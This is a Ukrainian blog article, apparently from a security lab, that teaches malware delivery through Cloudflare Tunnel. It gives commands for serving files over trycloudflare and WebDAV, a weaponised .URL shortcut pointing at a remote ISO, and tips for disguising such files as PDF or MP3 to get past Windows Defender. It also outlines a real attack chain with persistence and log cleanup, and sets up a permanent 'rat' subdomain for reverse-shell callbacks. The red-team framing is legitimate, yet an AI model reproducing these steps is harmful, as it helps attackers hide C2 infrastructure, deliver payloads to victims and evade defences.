Доставка шкідливого навантаження з допомогою Cloudflare Tunnel

Як розгорнути локальний сервер на домені Cloudflare Tunnel для доставки файлів?

Безкоштовний сервіс Cloudflared (Cloudflare Tunnel) може бути корисним як для девелоперів, так і дослідників безпеки при тестуванні Red Team сценаріїв. Наприклад, у доставці шкідливого навантаження. Добрий тим, що без реєстрації надає усім бажаючим безкоштовний домен з HTTPS. Таким чином, хакерам не обов’язково “світити” IP-адреси своїх C2-серверів. Нижче покрокова інструкція по використанню Cloudflared у середовищі Linux/Windows.

Інструкція з застосування Cloudflared

1. Завантажити Cloudflared з GitHub

curl -L -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64

Додати права на виконання:chmod +x cloudflared

Для Windows можна знайти відповідну версію тут: https://github.com/cloudflare/cloudflared/releases?page=7

2. Підняти локальний сервіс

Будь-який сервіс, який треба зробити доступним з інтернету. Наприклад, локальний веб-сервер: python3 -m http.server 4450

3. Запустити Cloudflared

Linux: ./cloudflared tunnel --url http://localhost:4450

(попередньо додавши sudo sed -i '1i 127.0.0.1 localhost\n::1 localhost' /etc/hosts – якщо записи вже є, то пропускаємо)

Windows: cloudflared.exe tunnel --url http://localhost:4450

4. Отримати посилання

Після запуску тунелю Cloudflare надасть URL-посилання за яким буде доступний сервіс:

Відключити тунель можна комбінацією у консолі: CTRL + C

Як тунелювати SMB через RClone + Cloudflared?

1. Створити папку Share і покласти туди необхідні файли, які необхідно передати.

2. Завантажити / встановити додаток Rclone, тоді запустити:

Linux: rclone serve webdav /path/to/share --addr :8080

Windows:rclone.exe serve webdav "C:\Users\windows\Share" --addr :8080

3. Запустити тунель Cloudflare:

cloudflared.exe tunnel --url http://localhost:8080

4. Відкрити WebDav за наданим посиланням:

Тепер цю папку можна напряму відкрити по протоколу WebDAV у локальному провіднику Windows. А можна також створити файл з розширенням .URL, наприклад document.url і вставити у нього наступні рядки:

[InternetShortcut]
URL=\\concern-regardless-rica-lobby.trycloudflare.com@SSL\DavWWWRoot\fayne.iso

Після цього файл доставити на цільову систему. Як тільки користувач клікне по ньому – Windows попросить користувача підтвердити операцію, змонтує WebDAV-папку й відкриє шкідливе навантаження:

ЧИТАЙТЕ ТАКОЖ:  ТОП онлайн-сервісів спостереження за погодними умовами

На замітку: Windows працює лише з файловими системами NTFS. Якщо ви розшарили свою папку в Linux, відформатовану в ext4, тоді змонтувати WebDAV не вдасться.

URL-файли добрі тим, що не вважаються шкідливими. Їх з легкістю можна замаскувати під PDF або MP3 й передати через поштовик або корпоративну пошту. Системи безпеки, включаючи Windows Defender, зазвичай ігнорують їх.

Приклад доставки шкідливого навантаження через Cloudflared

Нижче приклад реальної багатоланцюжкової хакерської атаки з використанням сервісу Cloudflared. Скрипт pra.cmd запускає на комп’ютері жертви довгу послідовність команд по розортанню і закріпленню malware:

Claudflared malware delivery pipeline
Пайплайн атаки: PDF-приманка → скачування ZIP → розпакування → запуск Python-малварі → ще PDF-приманка → persistence через Startup → зачистка слідів

Бонус: Як зробити постійний домен для Cloudflare Tunnel?

З часом виникає потреба, щоби домен не змінювався і був постійним. Це добре, якщо здійснюєте довгострокове адміністрування чи обслуговування. Таким чином, скільки б не пройшло часу – реверс-шел завжди зможе з’єднатися.

1) Залогінитися у свій обліковий запис:

cloudflared.exe tunnel login

Вас перенапроавить в браузер. Треба буде обрати зону одного зі своїх доменів і натиснути Authorize.

Завантажиться сертифікат cert.pem і збережеться в С:\Users\username\.cloudflared

2) Створити новий тунель:

cloudflared tunnel create <tunnelname>

Перевірити чи тунель створився: cloudflared tunnel list

3) Прикрутити субдомен до нового тунеля, наприклад:

cloudflared.exe tunnel route dns <tunnelname> rat.example.com – домен повинен бути доданий в Cloudflare.

4) В папці ~/.cloudflared з’явиться файл сесії .json. Залишилось створити конфігураційний файл config.yml там же, наприклад:

tunnel: xxxxxxxxxx-xxxxxxx-xxxxxxxx-xxxxxxxxxxxxxxxxxx (ID тунеля)
credentials-file: C:\Users\username\.cloudflared\xxxxxxxxxx-xxxxxxx-xxxxxxxx-xxxxxxxxxxxxxxxxxx.json (шлях до json-сесії)
ingress:
  - hostname: rat.example.com
    service: http://localhost:8080
  - service: http_status:404

5) Запустити щось на тому самому локальному порті, який вказаний в конфігурації. Наприклад Python-сервер:

python3 -m http.server 8080

6) Запускаємо тунель:

cloudflared.exe tunnel run xxxxxxxxxx-xxxxxxx-xxxxxxxx-xxxxxxxxxxxxxxxxxx – вказати ID тунеля.

7) Відкриваємо субдомен: https://rat.example.com – запрацює локальний веб-сервер.

ЧИТАЙТЕ ТАКОЖ:  Скрипт встановлення CMS WordPress на VPS-сервер (Nginx + PHP-FPM)

Перевірити список існуючих тунелів: cloudflared.exe tunnel list

Видалити тунель: cloudflared.exe tunnel delete <tunnelname>

Якщо TryCloudflareFree конфліктує з конфігурацією постійного домену: cloudflared.exe tunnel --config NUL --url http://localhost:4450

Документація: https://developers.cloudflare.com/cloudflare-one/networks/connectors/cloudflare-tunnel/do-more-with-tunnels/trycloudflare/

Автор: © Konrad Ravenstone, KR. Laboratories Research

Konrad Ravenstone// про автора

Кібермольфар, хакер, лінуксоїд, дослідник безпеки в KR. Labs Research

Сподобалася стаття? Поділитися в соцмережах:
KR. Labs Research
Рекомендоване:
Зізнаюсь, до написанння цього матеріалу мене надихнула в'єтнамська APT-група LoneNone.…